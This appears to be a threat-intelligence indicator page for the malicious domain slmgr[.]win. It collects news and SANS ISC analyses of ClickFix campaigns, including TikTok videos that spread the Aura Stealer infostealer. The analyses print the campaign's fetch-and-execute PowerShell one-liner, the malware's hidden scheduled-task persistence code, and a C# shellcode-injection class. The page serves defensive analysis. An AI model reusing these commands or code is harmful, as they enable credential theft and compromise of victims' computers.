Search/slmgr[.]win
● IOC

slmgr[.]win

View graph Watch Export
Type
DOMAIN
Source
News extraction
First seen
Oct 17, 2025
Last seen
Oct 19, 2025
Look up on VirusTotal
Reported by
2
TikTok videos continue to push infostealers in ClickFix attacksBleepingComputerOct 19, 2025TikTok Videos Promoting Malware Installation, (Fri, Oct 17th)SANS ISCOct 17, 2025
Related Stories
1
PhantomCaptcha ClickFix attack targets Ukraine war relief orgs
A spearphishing attack that lasted a single day targeted members of the Ukrainian regional government administration and organizations critical for the war relief effort in Ukraine, including the International Committee of the Red Cross, UNICEF, and various NGOs. Dubbed PhantomCaptcha, the one-day campaign attempted to trick victims into running commands used in ClickFix attacks, disguised as Cloudflare CAPTCHA verification prompts, to install a WebSocket Remote Access Trojan (RAT). SentinelLABS, the threat research division at SentinelOne, says that the campaign started and ended on October 8, and that the attacker spent significant time and effort to set up the necessary infrastructure, as some domains used in the operation were registered at the end of March. "I am not a robot" ClickFix attacks The attacks started with emails impersonating the Ukrainian President’s Office, carrying malicious PDF attachments that linked to a domain impersonating the Zoom (zoomconference[.]app) communication platform. When clicking on the fake Zoom conference link, visitors saw an automated browser check process before redirecting to the communication platform. During this stage, a client identifier is generated and passed to the attacker's server over a Websocket connection. "If the WebSocket server responded with a matching identifier, the victim’s browser would redirect to a legitimate, password-protected Zoom meeting," SentinelLABS' analysis showed. According to the researchers, this path likely led to the threat actor engaging in live social engineering calls with the victim. If the client ID did not match, visitors had to pass another security check and prove that they were real people and not robots. They could complete the fake CAPTCHA verification by following instructions in Ukrainian that prompted them to press a button to copy a "token" and paste it in the Windows Command Prompt. What the copy/paste action did was to run a PowerShell command that downloaded and executed a malicious script (cptch) for delivering the second-stage payload, a reconnaissance and system-profiler utility. The tool collects system data like computer name, domain information, username, process ID, and system UUID, and sends it to the command-and-control (C2) server. The final payload is a lightweight WebSocket RAT capable of remote command execution and data exfiltration through base64-encoded JSON commands. The researchers found that the short-lived campaign was linked to a subsequent operation that targeted users in Lviv, Ukraine, with adult-themed Android APKs or cloud storage tools. These apps act as spyware, monitoring the victim’s real-time location, call logs, contact list, and images, exfiltrating them to the attackers. While SentinelLABS made no attribution for the "I am not a robot" ClickFix attacks, the researchers note that the WebSocket RAT was hosted on Russian infrastructure, and the adult-themed campaign may be related to Russia/Belarus source development. Additionally, a report from the Google Threat Intelligence Group (GTIG) yesterday describes a malicious "I am not a robot" captcha challenge used in attacks attributed to ColdRiver (a.k.a. Star Blizzard, UNC4057, Callisto), a threat group attributed to the Russian intelligence service (FSB). GTIG highlighted that the hackers were quick to operationalize new malware families after researchers had disclosed publicly older tools that ColdRiver deployed in cyberespionage activities. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
1 shared
Oct 22, 2025
Related Indicators
2
domainfile-epq[.]pages[.]devsame storydomainzoomconference[.]appsame story
Connections
2 relationships
TikTok videos continue to push infostealers in ClickFix attacks
Cybercriminals are using TikTok videos disguised as free activation guides for popular software like Windows, Spotify, and Netflix to spread information-stealing malware. ISC Handler Xavier Mertens spotted the ongoing campaign, which is largely the same as the one observed by Trend Micro in May The TikTok videos seen by BleepingComputer pretend to offer instructions on how to activate legitimate products like Windows, Microsoft 365, Adobe Premiere, Photoshop, CapCut Pro, and Discord Nitro, as well as made-up services such as Netflix and Spotify Premium. The videos are performing a ClickFix attack, which is a social engineering technique that provides what appears to be legitimate "fixes" or instructions that trick users into executing malicious PowerShell commands or other scripts that infect their computers with malware. Each video displays a short one-line command and tells viewers to run it as an administrator in PowerShell: iex (irm slmgr[.]win/photoshop) It should be noted that the program name in the URL is different depending on the program that is being impersonated. For example, in the fake Windows activation videos, instead of the URL containing photoshop, it would include windows. In this campaign, when the command is executed, PowerShell connects to the remote site slmgr[.]win to retrieve and execute another PowerShell script. This script downloads two executables from Cloudflare pages, with the first executable downloaded from https://file-epq[.]pages[.]dev/updater.exe [VirusTotal]. This executable is a variant of the Aura Stealer info-stealing malware. Aura Stealer collects saved credentials from browsers, authentication cookies, cryptocurrency wallets, and credentials from other applications and uploads them to the attackers, giving them access to your accounts. Mertens says that an additional payload will be downloaded, named source.exe [VirusTotal], which is used to self-compile code using .NET's built-in Visual C# Compiler (csc.exe). This code is then injected and launched in memory. The purpose of the additional payload remains unclear. Users who perform these steps should consider all of their credentials compromised and immediately reset their passwords on all sites they visit. ClickFix attacks have become very popular over the past year, used to distribute various malware strains in ransomware and cryptocurrency theft campaigns. As a general rule, users should never copy text from a website and run it in an operating system dialog box, including within the File Explorer address bar, command prompt, PowerShell prompts, macOS terminal, and Linux shells. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comOct 19, 2025extracted
TikTok Videos Promoting Malware Installation, (Fri, Oct 17th)
Attackers are everywhere! They try to abuse victims using new communication channels and social engineering techniques! Somebody pointed my to the following Tik-Tok video: hxxps://vm[.]tiktok[.]com/ZGdaCkbEF/. The author pretends to provide you an easy way to activate Photoshop for free: Note that the video has already been liked more than 500 times! The technique is similar to the ClickFix[1] attack scenario. The victim is asked to start a PowerShell as administrator and execute a one-liner: iex (irm slmgr[.]win/photoshop) When visiting this linlk, you'll get a piece of malicious PowerShell code that will be executed (SHA256: 6D897B5661AA438A96AC8695C54B7C4F3A1FBF1B628C8D2011E50864860C6B23). It has a VT score of 17/63[2]. Let’s have a look at it! It downloads the next stage from https://file-epq[.]pages[.]dev/updater.exe. Persistence is implemented through a scheduled task to execute it at logon time: $tasknames = @('MicrosoftEdgeUpdateTaskMachineCore','GoogleUpdateTaskMachineCore','AdobeUpdateTask','OfficeBackgroundTaskHandlerRegistration','WindowsUpdateCheck') $taskname = $tasknames[(Get-Random -Max 5)] $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -Command "$scr"" $trigger = New-ScheduledTaskTrigger -AtLogOn $principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive -RunLevel Highest $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -DontStopOnIdleEnd Register-ScheduledTask -TaskName $taskname -Action $action -Trigger $trigger -Principal $principal -Settings $settings -Force -ErrorAction SilentlyContinue | Out-Null Updater.exe (SHA256:58b11b4dc81d0b005b7d5ecae0fb6ddb3c31ad0e7a9abf9a7638169c51356fd8) is an AuroStealer[3]. Finally, a second payload is downloaded and executed: source.exe (SHA256: db57e4a73d3cb90b53a0b1401cb47c41c1d6704a26983248897edcc13a367011)[4]. This one implements an interesting technique, it compiles some code on demand during its execution: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\vpkwkdbo.cmdline" This is something that I covered in previous diaries ("self-compiling malware")[5]. The compile code is a class used to inject a shellcode in memory: using System; using System.Runtime.InteropServices; public class SC { [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr a, uint s, uint t, uint p); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr a, uint s, IntPtr addr, IntPtr p, uint f, IntPtr t); [DllImport("kernel32.dll")] public static extern uint WaitForSingleObject(IntPtr h, uint m); public static void Run(byte[] sc) { IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40); Marshal.Copy(sc, 0, addr, sc.Length); IntPtr t = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); WaitForSingleObject(t, 0xFFFFFFFF); } } While invetigating this piece of malware, I discovered more videos from the same campaing but using other software names: hxxps://vm[.]tiktok[.]com/ZGdaC7EQY/ hxxps://vm[.]tiktok[.]com/ZGdaX8jVq/ Stay safe and don't trust such videos! Xavier Mertens (@xme) Xameco Senior ISC Handler - Freelance Cyber Security Consultant PGP Key
isc.sans.eduOct 17, 2025extracted